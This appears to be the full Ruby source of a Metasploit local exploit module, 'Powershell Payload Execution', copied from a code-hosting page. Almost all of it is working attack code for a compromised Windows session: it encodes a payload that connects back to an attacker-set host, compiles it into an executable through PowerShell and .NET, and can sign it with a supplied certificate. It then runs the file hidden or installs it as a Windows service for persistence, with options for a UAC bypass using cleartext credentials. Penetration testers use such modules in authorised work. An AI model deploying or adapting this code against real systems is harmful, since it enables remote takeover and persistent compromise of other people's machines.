190 lines
6.7 KiB
Ruby
190 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/services'
|
|
require 'msf/core/post/windows/powershell'
|
|
require 'msf/core/exploit/powershell/dot_net'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::Powershell
|
|
include Msf::Post::Windows::Powershell::DotNet
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Powershell Payload Execution",
|
|
'Description' => %q{
|
|
This module generates a dynamic executable on the session host using .NET templates.
|
|
Code is pulled from C# templates and impregnated with a payload before being
|
|
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
|
|
the executable (standard or Windows service) in memory and produces a binary
|
|
which can be started/installed and downloaded for later use. After compilation the
|
|
PoweShell session can also sign the executable if provided a path the a .pfx formatted
|
|
certificate.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
|
|
'Matt "hostess" Andreko' # .NET harness, and requested modifications
|
|
],
|
|
|
|
'Payload' =>
|
|
{
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'EAX',
|
|
},
|
|
},
|
|
'Platform' => [ 'windows' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Universal', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Aug 14 2012'
|
|
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
|
|
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
|
|
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
|
|
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
|
|
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
|
|
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
|
|
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
|
|
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
|
|
OptString.new('USERNAME', [false, 'Windows username']),
|
|
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
|
|
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
# Make sure we meet the requirements before running the script
|
|
if !(session.type == "meterpreter" || have_powershell?)
|
|
print_error("Incompatible Environment")
|
|
return
|
|
end
|
|
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
|
|
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
|
|
print_error("Cannot run as system")
|
|
return
|
|
end
|
|
|
|
# End of file marker
|
|
eof = Rex::Text.rand_text_alpha(8)
|
|
env_suffix = Rex::Text.rand_text_alpha(8)
|
|
|
|
com_opts = {}
|
|
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
|
|
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
|
|
com_opts[:payload] = payload_script #payload.encoded
|
|
vprint_good com_opts[:payload].length.to_s
|
|
|
|
if datastore['SVC_GEN']
|
|
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
|
|
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
|
|
else
|
|
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
|
|
end
|
|
|
|
com_opts[:cert] = datastore['CERT_PATH']
|
|
|
|
if datastore['SVC_REMOVE']
|
|
remove_dyn_service(com_opts[:target])
|
|
return
|
|
end
|
|
vprint_good("Writing to #{com_opts[:target]}")
|
|
|
|
com_script = dot_net_compiler(com_opts)
|
|
ps_out = psh_exec(com_script)
|
|
|
|
if datastore['Powershell::Post::dry_run']
|
|
print_good com_script
|
|
print_error ps_out
|
|
return
|
|
end
|
|
# Check for result
|
|
begin
|
|
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
|
|
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
|
|
rescue
|
|
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
|
|
return
|
|
end
|
|
|
|
# Run the harness
|
|
if datastore['START_APP']
|
|
if datastore['SVC_GEN']
|
|
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
|
|
if service_start(datastore['SVC_NAME']).to_i == 0
|
|
vprint_good("Service Started")
|
|
end
|
|
else
|
|
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
|
|
end
|
|
end
|
|
|
|
|
|
print_good('Finished!')
|
|
end
|
|
|
|
|
|
# This should be handled by the exploit mixin, right?
|
|
def payload_script
|
|
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
|
|
payload = pay_mod.generate_simple(
|
|
"BadChars" => '',
|
|
"Format" => 'raw',
|
|
"Encoder" => 'x86/alpha_mixed',
|
|
"ForceEncode" => true,
|
|
"Options" =>
|
|
{
|
|
'LHOST' => datastore['LHOST'],
|
|
'LPORT' => datastore['LPORT'],
|
|
'EXITFUNC' => 'thread',
|
|
'BufferRegister' => 'EAX'
|
|
},
|
|
)
|
|
|
|
# To ensure compatibility out payload should be US-ASCII
|
|
return payload.encode('ASCII')
|
|
end
|
|
|
|
# Local service functionality should probably be replaced with upstream Post
|
|
def remove_dyn_service(file_path)
|
|
service_stop(datastore['SVC_NAME'])
|
|
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
|
|
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
|
|
session.fs.file.rm(file_path.gsub('\\','\\\\'))
|
|
else
|
|
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
|
|
end
|
|
return
|
|
end
|
|
|
|
def install_dyn_service(file_path)
|
|
|
|
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
|
|
if service_start(datastore['SVC_NAME']).to_i == 0
|
|
vprint_good("Service Binary #{file_path} Started")
|
|
end
|
|
end
|
|
|
|
end
|